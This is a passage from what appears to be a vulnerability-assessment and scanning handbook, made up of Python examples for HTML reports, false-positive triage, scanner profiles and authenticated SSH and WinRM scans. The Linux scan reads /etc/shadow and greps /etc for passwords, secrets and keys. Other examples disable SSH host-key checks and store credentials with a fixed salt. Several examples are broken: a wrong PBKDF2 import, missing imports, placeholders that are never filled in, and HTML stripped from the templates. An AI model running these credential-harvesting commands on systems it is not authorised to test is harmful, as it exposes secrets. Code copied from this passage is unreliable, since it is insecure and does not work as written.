finding\"\"\"\n        self.findings.append(finding)\n        \n    def generate_html(self):\n        \"\"\"Generate HTML report\"\"\"\n        \n        # Sort findings by severity\n        severity_order = {'Critical': 0, 'High': 1, 'Medium': 2, 'Low': 3, 'Info': 4}\n        self.findings.sort(key=lambda x: severity_order.get(x.get('severity', 'Info'), 5))\n        \n        html = f\"\"\"\n        \n        \n        \n            Vulnerability Assessment Report: {self.client_name}\n            \n                body {{ font-family: Arial, sans-serif; margin: 40px; }}\n                h1 {{ color: #2c3e50; border-bottom: 2px solid #3498db; }}\n                h2 {{ color: #34495e; margin-top: 30px; }}\n                h3 {{ color: #7f8c8d; }}\n                .executive {{ background: #ecf0f1; padding: 20px; border-radius: 5px; }}\n                .finding {{ margin: 20px 0; padding: 15px; border-left: 4px solid; }}\n                .critical {{ border-color: #c0392b; }}\n                .high {{ border-color: #e67e22; }}\n                .medium {{ border-color: #f1c40f; }}\n                .low {{ border-color: #27ae60; }}\n                .info {{ border-color: #3498db; }}\n                .severity-badge {{ display: inline-block; padding: 3px 8px; border-radius: 3px; color: white; }}\n                .severity-Critical {{ background: #c0392b; }}\n                .severity-High {{ background: #e67e22; }}\n                .severity-Medium {{ background: #f1c40f; color: black; }}\n                .severity-Low {{ background: #27ae60; }}\n                .severity-Info {{ background: #3498db; }}\n                table {{ border-collapse: collapse; width: 100%; }}\n                th, td {{ border: 1px solid #ddd; padding: 8px; text-align: left; }}\n                th {{ background-color: #34495e; color: white; }}\n                .stats {{ display: flex; justify-content: space-around; margin: 30px 0; }}\n                .stat {{ text-align: center; padding: 20px; background: #ecf0f1; border-radius: 5px; }}\n                .stat-number {{ font-size: 48px; font-weight: bold; }}\n                .stat-label {{ font-size: 14px; color: #7f8c8d; }}\n            \n        \n        \n            \nVulnerability Assessment Report\n            \nClient: {self.client_name}\n            \nAssessment: {self.assessment_name}\n            \nDate: {self.date.strftime('%B %d, %Y')}\n            \n            \nExecutive Summary\n            \n\n                {self.executive_summary}\n            \n            \n            \nRisk Statistics\n            \n\n        \"\"\"\n        \n        # Calculate statistics\n        severity_counts = {\n            'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0, 'Info': 0\n        }\n        \n        for finding in self.findings:\n            severity_counts[finding.get('severity', 'Info')] += 1\n            \n        for severity, count in severity_counts.items():\n            html += f\"\"\"\n                \n\n                    \n{count}\n                    \n{severity}\n                \n            \"\"\"\n            \n        html += \"\"\"\n            \n            \n            \nDetailed Findings\n        \"\"\"\n        \n        for finding in self.findings:\n            severity = finding.get('severity', 'Info').lower()\n            html += f\"\"\"\n            \n\n                \n{finding.get('title')} \n                    \n                        {finding.get('severity', 'Info')}\n                    \n                \n                \nCVSS Score: {finding.get('cvss_score', 'N/A')}\n                \nDescription: {finding.get('description')}\n                \nImpact: {finding.get('impact')}\n                \nAffected Systems: {', '.join(finding.get('affected_systems', []))}\n                \nRecommendation: {finding.get('recommendation')}\n            \n            \"\"\"\n            \n        html += \"\"\"\n        \n        \n        \"\"\"\n        \n        return html\n    \n    def get_severity_color(self, severity):\n        \"\"\"Get color code for severity\"\"\"\n        colors = {\n            'Critical': '#c0392b',\n            'High': '#e67e22',\n            'Medium': '#f1c40f',\n            'Low': '#27ae60',\n            'Info': '#3498db'\n        }\n        return colors.get(severity, '#7f8c8d')\n    \n    def save_html(self, filename):\n        \"\"\"Save HTML report to file\"\"\"\n        html = self.generate_html()\n        with open(filename, 'w') as f:\n            f.write(html)\n        print(f\"[+] HTML report saved to {filename}\")\n\n# Example usage\nreport = VulnerabilityReport(\"Q3 Infrastructure Assessment\", \"Example Corp\")\n\nreport.add_executive_summary(\"\"\"\n    This assessment identified several critical vulnerabilities requiring immediate attention.\n    The most severe issues include unpatched remote code execution vulnerabilities in\n    internet-facing systems and weak authentication mechanisms in internal applications.\n    All findings have been validated and remediation recommendations are provided below.\n\"\"\")\n\nreport.add_finding({\n    'title': 'SQL Injection in Login Form',\n    'severity': 'Critical',\n    'cvss_score': 9.8,\n    'description': 'The login form at /login.php is vulnerable to SQL injection attacks.',\n    'impact': 'Attackers can bypass authentication and access all user data.',\n    'affected_systems': ['webserver01 (192.168.1.100)'],\n    'recommendation': 'Implement parameterized queries and input validation.'\n})\n\nreport.save_html(\"vulnerability_report.html\")\n```\n\n#### 10.4.2 Executive Summary Writing\n\n```python\n#!/usr/bin/env python3\n# executive_summary.py\n\nclass ExecutiveSummaryGenerator:\n    def __init__(self, assessment_data):\n        self.data = assessment_data\n        \n    def generate_summary(self):\n        \"\"\"Generate executive summary from assessment data\"\"\"\n        \n        summary = f\"\"\"\n        \nAssessment Overview\n        \n\n            From {self.data['start_date']} to {self.data['end_date']}, {self.data['assessor']}\n            performed a comprehensive vulnerability assessment of {self.data['scope_description']}.\n            The assessment identified a total of {self.data['total_findings']} vulnerabilities\n            across {self.data['total_systems']} systems.\n        \n        \n        \nKey Findings\n        \n\n        \"\"\"\n        \n        for finding in self.data['key_findings']:\n            summary += f\"\n{finding['title']}: {finding['description']}\"\n            \n        summary += \"\"\"\n        \n        \n        \nRisk Exposure\n        \n\n            The organization faces significant risk from {self.data['critical_count']} critical and\n            {self.data['high_count']} high-severity vulnerabilities. Of particular concern are\n            internet-facing systems with known exploitable vulnerabilities.\n        \n        \n        \nRecommended Actions\n        \n\n        \"\"\"\n        \n        for rec in self.data['recommendations'][:5]:  # Top 5 recommendations\n            summary += f\"\n{rec['priority']}: {rec['description']}\"\n            \n        summary += \"\"\"\n        \n        \n        \nConclusion\n        \n\n            {self.data['conclusion']}\n        \n        \"\"\"\n        \n        return summary\n\n# Example data\nassessment_data = {\n    'start_date': 'September 1, 2024',\n    'end_date': 'September 15, 2024',\n    'assessor': 'Kali Professional Services',\n    'scope_description': 'the internal network (10.0.0.0/8) and external web applications',\n    'total_findings': 47,\n    'total_systems': 156,\n    'critical_count': 8,\n    'high_count': 15,\n    'key_findings': [\n        {'title': 'EOL Operating Systems', \n         'description': '23 systems running Windows 7 or Server 2008 which are no longer supported'},\n        {'title': 'Default Credentials', \n         'description': 'Network devices with default administrative credentials'},\n        {'title': 'Unpatched Vulnerabilities', \n         'description': 'Critical RCE vulnerabilities in internet-facing web servers'}\n    ],\n    'recommendations': [\n        {'priority': 'Immediate', \n         'description': 'Patch or isolate systems with critical RCE vulnerabilities'},\n        {'priority': 'High', \n         'description': 'Replace all end-of-life operating systems'},\n        {'priority': 'High', \n         'description': 'Implement multi-factor authentication for all administrative access'},\n        {'priority': 'Medium', \n         'description': 'Conduct regular vulnerability scans and establish patch management process'},\n        {'priority': 'Medium', \n         'description': 'Develop and implement security awareness training'}\n    ],\n    'conclusion': 'While the organization has implemented basic security controls, significant gaps exist in patch management and configuration hardening. A focused remediation effort addressing the identified vulnerabilities will substantially improve the security posture.'\n}\n\ngenerator = ExecutiveSummaryGenerator(assessment_data)\nsummary = generator.generate_summary()\nprint(summary)\n```\n\n### 10.5 False Positive Handling\n\nManaging false positives is critical for maintaining the credibility and usefulness of vulnerability assessments.\n\n#### 10.5.1 False Positive Identification\n\n```python\n#!/usr/bin/env python3\n# false_positive_analysis.py\n\nimport json\nimport subprocess\nimport re\nfrom typing import Dict, List\n\nclass FalsePositiveAnalyzer:\n    def __init__(self):\n        self.false_positive_patterns = {\n            'missing_headers': [\n                'X-Frame-Options',\n                'X-Content-Type-Options',\n                'Content-Security-Policy'\n            ],\n            'version_mismatch': [\n                r'Server: Apache/(\\d+\\.\\d+\\.\\d+)',\n                r'nginx/(\\d+\\.\\d+\\.\\d+)'\n            ],\n            'default_pages': [\n                'Apache2 Default Page',\n                'Welcome to nginx',\n                'IIS Windows Server'\n            ]\n        }\n        \n    def analyze_finding(self, finding: Dict) -&gt; Dict:\n        \"\"\"Analyze finding for false positive indicators\"\"\"\n        \n        fp_indicators = []\n        confidence = \"low\"\n        \n        # Check finding type\n        finding_type = finding.get('type', '')\n        \n        if finding_type == 'missing_header':\n            # Verify if header is actually missing\n            header_name = finding.get('header')\n            actual_headers = self.check_headers(finding.get('target'))\n            \n            if header_name in actual_headers:\n                fp_indicators.append(f\"Header {header_name} actually present\")\n                \n        elif finding_type == 'outdated_version':\n            # Verify version\n            actual_version = self.get_actual_version(finding.get('target'))\n            reported_version = finding.get('version')\n            \n            if actual_version == reported_version:\n                # Version matches, likely not false positive\n                pass\n            else:\n                fp_indicators.append(f\"Version mismatch: reported {reported_version}, actual {actual_version}\")\n                \n        elif finding_type == 'default_page':\n            # Check if it's actually a default page\n            content = self.get_page_content(finding.get('target'))\n            \n            for pattern in self.false_positive_patterns['default_pages']:\n                if pattern in content:\n                    fp_indicators.append(f\"Default page pattern '{pattern}' found\")\n                    confidence = \"high\"\n                    \n        # Calculate false positive probability\n        if len(fp_indicators) &gt; 0:\n            probability = min(len(fp_indicators) * 0.3, 0.9)  # Max 90%\n        else:\n            probability = 0.1\n            \n        return {\n            'finding_id': finding.get('id'),\n            'false_positive_indicators': fp_indicators,\n            'false_positive_probability': probability,\n            'confidence': confidence,\n            'requires_manual_review': probability &gt; 0.7\n        }\n    \n    def check_headers(self, target):\n        \"\"\"Check actual HTTP headers\"\"\"\n        try:\n            import requests\n            response = requests.get(f\"http://{target}\", timeout=5, verify=False)\n            return response.headers\n        except:\n            return {}\n    \n    def get_actual_version(self, target):\n        \"\"\"Get actual software version\"\"\"\n        try:\n            import requests\n            response = requests.get(f\"http://{target}\", timeout=5, verify=False)\n            server = response.headers.get('Server', '')\n            \n            # Extract version from Server header\n            for pattern in self.false_positive_patterns['version_mismatch']:\n                match = re.search(pattern, server)\n                if match:\n                    return match.group(1)\n        except:\n            pass\n        return None\n    \n    def get_page_content(self, target):\n        \"\"\"Get page content\"\"\"\n        try:\n            import requests\n            response = requests.get(f\"http://{target}\", timeout=5, verify=False)\n            return response.text\n        except:\n            return \"\"\n    \n    def batch_analyze(self, findings: List[Dict]) -&gt; List[Dict]:\n        \"\"\"Analyze multiple findings\"\"\"\n        results = []\n        for finding in findings:\n            analysis = self.analyze_finding(finding)\n            if analysis['false_positive_probability'] &gt; 0.5:\n                results.append(analysis)\n        return results\n\n# Example usage\nanalyzer = FalsePositiveAnalyzer()\nfindings = [\n    {\n        'id': 'FP001',\n        'type': 'missing_header',\n        'header': 'X-Frame-Options',\n        'target': 'example.com'\n    }\n]\nresults = analyzer.batch_analyze(findings)\nprint(json.dumps(results, indent=2))\n```\n\n#### 10.5.2 Validation Workflow\n\n```python\n#!/usr/bin/env python3\n# validation_workflow.py\n\nimport json\nimport datetime\nfrom enum import Enum\n\nclass ValidationStatus(Enum):\n    PENDING = \"pending\"\n    CONFIRMED = \"confirmed\"\n    FALSE_POSITIVE = \"false_positive\"\n    WONTFIX = \"wontfix\"\n    NOT_APPLICABLE = \"n/a\"\n\nclass ValidationWorkflow:\n    def __init__(self):\n        self.findings_db = {}\n        self.validation_queue = []\n        \n    def add_finding(self, finding):\n        \"\"\"Add finding to validation queue\"\"\"\n        finding_id = finding.get('id', f\"VULN-{len(self.findings_db)+1:04d}\")\n        finding['id'] = finding_id\n        finding['validation_status'] = ValidationStatus.PENDING.value\n        finding['validation_notes'] = []\n        finding['last_validated'] = None\n        \n        self.findings_db[finding_id] = finding\n        self.validation_queue.append(finding_id)\n        \n        return finding_id\n    \n    def manual_validate(self, finding_id, validator, notes, status):\n        \"\"\"Manually validate a finding\"\"\"\n        if finding_id not in self.findings_db:\n            return False\n            \n        finding = self.findings_db[finding_id]\n        \n        validation_entry = {\n            'timestamp': datetime.datetime.now().isoformat(),\n            'validator': validator,\n            'notes': notes,\n            'status': status.value\n        }\n        \n        finding['validation_notes'].append(validation_entry)\n        finding['validation_status'] = status.value\n        finding['last_validated'] = validation_entry['timestamp']\n        \n        # Remove from queue if validated\n        if finding_id in self.validation_queue:\n            self.validation_queue.remove(finding_id)\n            \n        return True\n    \n    def auto_validate(self, analyzer):\n        \"\"\"Automatically validate findings\"\"\"\n        validated = []\n        \n        for finding_id in list(self.validation_queue):\n            finding = self.findings_db[finding_id]\n            \n            # Use analyzer to check for false positives\n            analysis = analyzer.analyze_finding(finding)\n            \n            if analysis['false_positive_probability'] &gt; 0.8:\n                # High probability of false positive\n                self.manual_validate(\n                    finding_id,\n                    \"Auto-Validator\",\n                    f\"Auto-validated as false positive (confidence: {analysis['confidence']})\",\n                    ValidationStatus.FALSE_POSITIVE\n                )\n                validated.append({\n                    'finding_id': finding_id,\n                    'action': 'false_positive',\n                    'confidence': analysis['false_positive_probability']\n                })\n            elif analysis['false_positive_probability'] &lt; 0.2:\n                # Low probability of false positive\n                self.manual_validate(\n                    finding_id,\n                    \"Auto-Validator\",\n                    f\"Auto-validated as confirmed (confidence: {analysis['confidence']})\",\n                    ValidationStatus.CONFIRMED\n                )\n                validated.append({\n                    'finding_id': finding_id,\n                    'action': 'confirmed',\n                    'confidence': analysis['false_positive_probability']\n                })\n                \n        return validated\n    \n    def generate_validation_report(self):\n        \"\"\"Generate validation status report\"\"\"\n        \n        report = {\n            'total_findings': len(self.findings_db),\n            'pending_validation': len(self.validation_queue),\n            'validation_summary': {},\n            'findings': []\n        }\n        \n        # Count by status\n        for finding in self.findings_db.values():\n            status = finding['validation_status']\n            report['validation_summary'][status] = report['validation_summary'].get(status, 0) + 1\n            \n            # Add to findings list\n            report['findings'].append({\n                'id': finding['id'],\n                'title': finding.get('title', ''),\n                'status': status,\n                'last_validated': finding['last_validated']\n            })\n            \n        return report\n\n# Example usage\nworkflow = ValidationWorkflow()\nanalyzer = FalsePositiveAnalyzer()\n\n# Add some findings\nfinding1 = {\n    'title': 'SQL Injection',\n    'type': 'sql_injection',\n    'severity': 'Critical',\n    'target': '192.168.1.100'\n}\n\nfinding2 = {\n    'title': 'Missing X-Frame-Options',\n    'type': 'missing_header',\n    'header': 'X-Frame-Options',\n    'target': '192.168.1.100'\n}\n\nid1 = workflow.add_finding(finding1)\nid2 = workflow.add_finding(finding2)\n\n# Auto-validate\nvalidated = workflow.auto_validate(analyzer)\nprint(f\"Auto-validated {len(validated)} findings\")\n\n# Manual validation\nworkflow.manual_validate(\n    id1,\n    \"John Smith\",\n    \"Manually verified SQL injection using sqlmap\",\n    ValidationStatus.CONFIRMED\n)\n\n# Generate report\nreport = workflow.generate_validation_report()\nprint(json.dumps(report, indent=2))\n```\n\n---\n\n## Chapter 11 \u2014 Vulnerability Scanners\n\nVulnerability scanners automate the process of identifying security weaknesses across networks and applications. This chapter covers the configuration, tuning, and effective use of both open-source and commercial scanners.\n\n### 11.1 Configuration &amp; Tuning\n\nProper scanner configuration ensures accurate results while minimizing false positives and network impact.\n\n#### 11.1.1 Scanner Architecture\n\n```python\n#!/usr/bin/env python3\n# scanner_config.py\n\nimport json\nimport ipaddress\nfrom typing import List, Dict\n\nclass ScannerConfiguration:\n    def __init__(self):\n        self.config = {\n            'general': {\n                'name': '',\n                'scan_type': 'full',\n                'max_hosts': 256,\n                'max_ports': 1000,\n                'timeout': 30,\n                'retries': 3,\n                'throttle': 100,  # packets per second\n                'randomize_hosts': True,\n                'randomize_ports': True\n            },\n            'discovery': {\n                'ping_types': ['icmp', 'tcp_syn', 'tcp_ack', 'udp', 'arp'],\n                'ping_timeout': 2,\n                'max_rtt': 5000,\n                'host_timeout': 10\n            },\n            'port_scan': {\n                'technique': 'connect',  # connect, syn, fin, xmas, null\n                'port_range': '1-1000',\n                'exclude_ports': [],\n                'service_detection': True,\n                'version_intensity': 7\n            },\n            'vulnerability_scan': {\n                'enabled': True,\n                'plugins': ['all'],\n                'exclude_plugins': [],\n                'safe_checks': True,\n                'performance_impact': 'normal',  # low, normal, high\n                'stop_on_first': False\n            },\n            'web_scan': {\n                'enabled': False,\n                'user_agent': 'Mozilla/5.0 Scanner',\n                'max_pages': 100,\n                'max_depth': 3,\n                'follow_redirects': True,\n                'cookie_jar': None,\n                'http_methods': ['GET', 'POST', 'HEAD'],\n                'detect_technologies': True\n            },\n            'credentials': {\n                'windows': [],\n                'linux': [],\n                'web': [],\n                'database': []\n            },\n            'logging': {\n                'level': 'info',\n                'file': '/var/log/scanner.log',\n                'verbose': True,\n                'debug': False\n            },\n            'output': {\n                'formats': ['xml', 'html', 'json'],\n                'report_name': '',\n                'include_debug_info': False,\n                'compress_report': False\n            }\n        }\n        \n    def load_config(self, filename: str) -&gt; bool:\n        \"\"\"Load configuration from JSON file\"\"\"\n        try:\n            with open(filename, 'r') as f:\n                loaded_config = json.load(f)\n                self.config.update(loaded_config)\n            return True\n        except Exception as e:\n            print(f\"Error loading config: {e}\")\n            return False\n            \n    def save_config(self, filename: str):\n        \"\"\"Save configuration to JSON file\"\"\"\n        with open(filename, 'w') as f:\n            json.dump(self.config, f, indent=2)\n            \n    def set_targets(self, targets: List[str]):\n        \"\"\"Set scan targets\"\"\"\n        validated_targets = []\n        \n        for target in targets:\n            try:\n                # Check if it's a CIDR range\n                if '/' in target:\n                    network = ipaddress.ip_network(target, strict=False)\n                    validated_targets.append(str(network))\n                else:\n                    # Single IP or hostname\n                    ipaddress.ip_address(target)\n                    validated_targets.append(target)\n            except:\n                # Assume it's a hostname\n                validated_targets.append(target)\n                \n        self.config['targets'] = validated_targets\n        return validated_targets\n    \n    def create_scan_profile(self, name: str, profile_type: str):\n        \"\"\"Create predefined scan profile\"\"\"\n        \n        profiles = {\n            'quick': {\n                'scan_type': 'quick',\n                'max_hosts': 100,\n                'max_ports': 100,\n                'throttle': 500,\n                'port_range': '1-1000',\n                'vulnerability_scan': {'enabled': False},\n                'web_scan': {'enabled': False}\n            },\n            'standard': {\n                'scan_type': 'standard',\n                'max_hosts': 256,\n                'max_ports': 1000,\n                'throttle': 200,\n                'port_range': '1-10000',\n                'vulnerability_scan': {'enabled': True, 'safe_checks': True},\n                'web_scan': {'enabled': False}\n            },\n            'comprehensive': {\n                'scan_type': 'comprehensive',\n                'max_hosts': 50,\n                'max_ports': 65535,\n                'throttle': 50,\n                'port_range': '1-65535',\n                'vulnerability_scan': {'enabled': True, 'safe_checks': False, 'performance_impact': 'high'},\n                'web_scan': {'enabled': True, 'max_pages': 500}\n            },\n            'stealth': {\n                'scan_type': 'stealth',\n                'max_hosts': 50,\n                'max_ports': 500,\n                'throttle': 10,\n                'port_range': '1-1000',\n                'discovery': {'ping_types': ['tcp_syn']},\n                'port_scan': {'technique': 'syn'},\n                'vulnerability_scan': {'enabled': True, 'safe_checks': True},\n                'web_scan': {'enabled': False}\n            }\n        }\n        \n        if profile_type in profiles:\n            self.config.update(profiles[profile_type])\n            self.config['profile_name'] = name\n            return True\n        return False\n\n# Example usage\nscanner_config = ScannerConfiguration()\nscanner_config.create_scan_profile('Internal Network Scan', 'comprehensive')\nscanner_config.set_targets(['10.0.0.0/24', '192.168.1.100'])\nscanner_config.save_config('scan_config.json')\n```\n\n#### 11.1.2 Performance Tuning\n\n```python\n#!/usr/bin/env python3\n# performance_tuning.py\n\nimport time\nimport psutil\nimport threading\nfrom typing import Dict\n\nclass ScanOptimizer:\n    def __init__(self):\n        self.system_stats = self.get_system_stats()\n        self.scan_stats = {\n            'packets_sent': 0,\n            'packets_received': 0,\n            'scan_duration': 0,\n            'hosts_scanned': 0,\n            'ports_scanned': 0,\n            'errors': 0\n        }\n        \n    def get_system_stats(self) -&gt; Dict:\n        \"\"\"Get current system resource statistics\"\"\"\n        return {\n            'cpu_percent': psutil.cpu_percent(interval=1),\n            'memory_percent': psutil.virtual_memory().percent,\n            'network_sent': psutil.net_io_counters().bytes_sent,\n            'network_recv': psutil.net_io_counters().bytes_recv\n        }\n        \n    def calculate_optimal_threads(self) -&gt; int:\n        \"\"\"Calculate optimal thread count based on system resources\"\"\"\n        \n        cpu_count = psutil.cpu_count()\n        memory_available = psutil.virtual_memory().available / (1024 * 1024)  # MB\n        \n        # Base calculation\n        optimal_threads = cpu_count * 4\n        \n        # Adjust based on memory\n        if memory_available &lt; 512:  # Less than 512MB free\n            optimal_threads = optimal_threads // 2\n        elif memory_available &gt; 4096:  # More than 4GB free\n            optimal_threads = optimal_threads * 2\n            \n        # Cap at reasonable limits\n        optimal_threads = max(1, min(optimal_threads, 100))\n        \n        return optimal_threads\n    \n    def calculate_optimal_rate(self, target_network: str) -&gt; int:\n        \"\"\"Calculate optimal packet rate based on network conditions\"\"\"\n        \n        # Measure baseline network latency\n        try:\n            import subprocess\n            result = subprocess.run(\n                ['ping', '-c', '5', '-W', '1', target_network.split('/')[0]],\n                capture_output=True,\n                text=True,\n                timeout=10\n            )\n            \n            # Parse average latency\n            for line in result.stdout.split('\\n'):\n                if 'avg' in line:\n                    avg_latency = float(line.split('/')[4])\n                    break\n            else:\n                avg_latency = 50  # Default assumption\n                \n        except:\n            avg_latency = 50\n            \n        # Calculate rate based on latency\n        if avg_latency &lt; 10:  # Very fast network\n            return 1000\n        elif avg_latency &lt; 50:  # Fast network\n            return 500\n        elif avg_latency &lt; 100:  # Average network\n            return 200\n        elif avg_latency &lt; 200:  # Slow network\n            return 100\n        else:  # Very slow network\n            return 50\n            \n    def monitor_scan_performance(self, scan_function):\n        \"\"\"Decorator to monitor scan performance\"\"\"\n        \n        def wrapper(*args, **kwargs):\n            start_time = time.time()\n            start_stats = self.get_system_stats()\n            \n            # Run the scan\n            result = scan_function(*args, **kwargs)\n            \n            end_time = time.time()\n            end_stats = self.get_system_stats()\n            \n            # Calculate metrics\n            duration = end_time - start_time\n            cpu_usage = (end_stats['cpu_percent'] + start_stats['cpu_percent']) / 2\n            memory_used = end_stats['memory_percent'] - start_stats['memory_percent']\n            network_sent = end_stats['network_sent'] - start_stats['network_sent']\n            network_recv = end_stats['network_recv'] - start_stats['network_recv']\n            \n            # Update scan stats\n            self.scan_stats.update({\n                'scan_duration': duration,\n                'avg_cpu_usage': cpu_usage,\n                'memory_used': memory_used,\n                'network_sent_mb': network_sent / (1024 * 1024),\n                'network_recv_mb': network_recv / (1024 * 1024)\n            })\n            \n            print(f\"\\n[+] Scan Performance Metrics:\")\n            print(f\"    Duration: {duration:.2f} seconds\")\n            print(f\"    Avg CPU Usage: {cpu_usage:.1f}%\")\n            print(f\"    Memory Used: {memory_used:.1f}%\")\n            print(f\"    Network Sent: {network_sent/(1024*1024):.2f} MB\")\n            print(f\"    Network Received: {network_recv/(1024*1024):.2f} MB\")\n            \n            return result\n            \n        return wrapper\n\n# Example usage\noptimizer = ScanOptimizer()\noptimal_threads = optimizer.calculate_optimal_threads()\noptimal_rate = optimizer.calculate_optimal_rate('192.168.1.0/24')\n\nprint(f\"[+] Optimal thread count: {optimal_threads}\")\nprint(f\"[+] Optimal packet rate: {optimal_rate} pkts/sec\")\n```\n\n### 11.2 Authenticated Scanning\n\nAuthenticated scanning provides deeper visibility by logging into systems to examine configuration and patch levels.\n\n#### 11.2.1 Credential Management\n\n```python\n#!/usr/bin/env python3\n# credential_manager.py\n\nimport json\nimport getpass\nimport base64\nfrom cryptography.fernet import Fernet\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2\n\nclass CredentialManager:\n    def __init__(self, key_file='.scan_key'):\n        self.key_file = key_file\n        self.key = self.load_or_create_key()\n        self.cipher = Fernet(self.key)\n        self.credentials = {}\n        \n    def load_or_create_key(self):\n        \"\"\"Load existing key or create new one\"\"\"\n        try:\n            with open(self.key_file, 'rb') as f:\n                return f.read()\n        except FileNotFoundError:\n            # Generate key from password\n            password = getpass.getpass(\"Enter master password for credential storage: \")\n            salt = b'salt_'  # In production, use random salt\n            kdf = PBKDF2(\n                algorithm=hashes.SHA256(),\n                length=32,\n                salt=salt,\n                iterations=100000,\n            )\n            key = base64.urlsafe_b64encode(kdf.derive(password.encode()))\n            \n            # Save key\n            with open(self.key_file, 'wb') as f:\n                f.write(key)\n                \n            return key\n    \n    def add_credential(self, host: str, username: str, password: str, \n                       domain: str = None, cred_type: str = 'local'):\n        \"\"\"Add encrypted credential\"\"\"\n        \n        cred_id = f\"{host}_{username}\"\n        \n        credential = {\n            'host': host,\n            'username': username,\n            'password': password,\n            'domain': domain,\n            'type': cred_type,\n            'added': time.strftime('%Y-%m-%d %H:%M:%S')\n        }\n        \n        # Encrypt the credential\n        encrypted = self.cipher.encrypt(json.dumps(credential).encode())\n        self.credentials[cred_id] = encrypted\n        \n        return cred_id\n    \n    def get_credential(self, cred_id: str) -&gt; Dict:\n        \"\"\"Retrieve and decrypt credential\"\"\"\n        if cred_id not in self.credentials:\n            return None\n            \n        encrypted = self.credentials[cred_id]\n        decrypted = self.cipher.decrypt(encrypted)\n        return json.loads(decrypted)\n    \n    def find_credentials_for_host(self, host: str, cred_type: str = None) -&gt; List[Dict]:\n        \"\"\"Find all credentials for a specific host\"\"\"\n        found = []\n        \n        for cred_id in self.credentials:\n            if host in cred_id:\n                cred = self.get_credential(cred_id)\n                if cred_type is None or cred['type'] == cred_type:\n                    found.append(cred)\n                    \n        return found\n    \n    def save_credentials(self, filename: str):\n        \"\"\"Save encrypted credentials to file\"\"\"\n        with open(filename, 'w') as f:\n            # Convert bytes to string for JSON\n            serializable = {k: v.decode() for k, v in self.credentials.items()}\n            json.dump(serializable, f)\n            \n    def load_credentials(self, filename: str):\n        \"\"\"Load encrypted credentials from file\"\"\"\n        with open(filename, 'r') as f:\n            serializable = json.load(f)\n            self.credentials = {k: v.encode() for k, v in serializable.items()}\n\n# Example usage\ncm = CredentialManager()\ncm.add_credential('192.168.1.100', 'administrator', 'P@ssw0rd123', 'DOMAIN', 'windows')\ncm.save_credentials('scan_creds.json')\n```\n\n#### 11.2.2 Authenticated Scan Configuration\n\n```python\n#!/usr/bin/env python3\n# authenticated_scan.py\n\nimport subprocess\nimport json\nfrom typing import List, Dict\n\nclass AuthenticatedScanner:\n    def __init__(self, credential_manager):\n        self.cred_manager = credential_manager\n        \n    def prepare_linux_scan(self, host: str, credentials: Dict):\n        \"\"\"Prepare authenticated Linux scan\"\"\"\n        \n        # Create SSH command for remote execution\n        ssh_cmd = [\n            'sshpass', '-p', credentials['password'],\n            'ssh', '-o', 'StrictHostKeyChecking=no',\n            '-o', 'ConnectTimeout=10',\n            f\"{credentials['username']}@{host}\"\n        ]\n        \n        # Commands to gather system information\n        commands = [\n            'uname -a',\n            'cat /etc/os-release',\n            'dpkg -l || rpm -qa',  # Package list\n            'sudo -l',  # Sudo privileges\n            'cat /etc/passwd',\n            'cat /etc/shadow',\n            'find / -type f -perm -4000 -ls 2&gt;/dev/null',  # SUID files\n            'systemctl list-units --type=service --all',  # Services\n            'crontab -l',\n            'ls -la /etc/cron*',\n            'ss -tulpn',\n            'iptables -L -n',\n            'grep -r \"PASSWORD\\|SECRET\\|KEY\" /etc/ 2&gt;/dev/null'\n        ]\n        \n        results = {}\n        for cmd in commands:\n            try:\n                full_cmd = ssh_cmd + [cmd]\n                result = subprocess.run(\n                    full_cmd,\n                    capture_output=True,\n                    text=True,\n                    timeout=30\n                )\n                results[cmd] = result.stdout\n            except Exception as e:\n                results[cmd] = f\"Error: {e}\"\n                \n        return results\n    \n    def prepare_windows_scan(self, host: str, credentials: Dict):\n        \"\"\"Prepare authenticated Windows scan using PowerShell Remoting\"\"\"\n        \n        # Using PowerShell Remoting (WinRM)\n        ps_commands = [\n            'Get-ComputerInfo',\n            'Get-WmiObject Win32_OperatingSystem',\n            'Get-Service',\n            'Get-Process',\n            'Get-LocalUser',\n            'Get-LocalGroupMember Administrators',\n            'Get-ScheduledTask',\n            'Get-ChildItem Env:',\n            'Get-WmiObject Win32_Product',\n            'Get-HotFix',\n            'Get-NetTCPConnection',\n            'Get-NetFirewallProfile'\n        ]\n        \n        results = {}\n        for cmd in ps_commands:\n            # Using PowerShell Remoting\n            ps_cmd = [\n                'powershell',\n                '-Command',\n                f'Invoke-Command -ComputerName {host} -Credential (New-Object System.Management.Automation.PSCredential(\"{credentials[\"username\"]}\", (ConvertTo-SecureString \"{credentials[\"password\"]}\" -AsPlainText -Force))) -ScriptBlock {{{cmd}}}'\n            ]\n            \n            # This is simplified - actual implementation would use proper WinRM\n            results[cmd] = \"Implementation requires proper WinRM setup\"\n            \n        return results\n    \n    def run_authenticated_scan(self, hosts: List[str], cred_type: str = 'local'):\n        \"\"\"Run authenticated scans on multiple hosts\"\"\"\n        \n        results = {}\n        \n        for host in hosts:\n            # Find credentials for this host\n            creds = self.cred_manager.find_credentials_for_host(host, cred_type)\n            \n            if not creds:\n                print(f\"[!] No credentials found for {host}\")\n                continue\n                \n            # Try each credential\n            for cred in creds:\n                print(f\"[*] Attempting authenticated scan of {host} with {cred['username']}\")\n                \n                if cred['type'] == 'linux':\n                    host_results = self.prepare_linux_scan(host, cred)\n                elif cred['type'] == 'windows':\n                    host_results = self.prepare_windows_scan(host, cred)\n                else:\n                    continue\n                    \n                if host_results:\n                    results[host] = {\n                        'credential_used': cred['username'],\n                        'scan_results': host_results\n                    }\n                    break  # Stop after first successful credential\n                    \n        return results\n\n# Example usage\ncred_manager = CredentialManager()\nscanner = AuthenticatedScanner(cred_manager)\nresults = scanner.run_authenticated_scan(['192.168.1.100'])\n```\n\n### 11.3 Scan Optimization\n\nOptimizing scans reduces time and network impact while maintaining coverage.\n\n#### 11.3.1 Intelligent Scanning Strategies\n\n```python\n#!/usr/bin/env python3\n# scan_optimization.py\n\nimport ipaddress\nimport time\nfrom collections import defaultdict\n\nclass IntelligentScanner:\n    def __init__(self):\n        self.scan_history = {}\n        self.network_profiles = defaultdict(dict)\n        \n    def learn_network_patterns(self, scan_results: Dict):\n        \"\"\"Learn patterns from previous scans\"\"\"\n        \n        for host, result in scan_results.items():\n            ip = ipaddress.ip_address(host)\n            \n            # Group by network\n            network = str(ipaddress.ip_network(f\"{ip}/24\", strict=False))\n            \n            # Learn common ports\n            open_ports = result.get('open_ports', [])\n            for port in 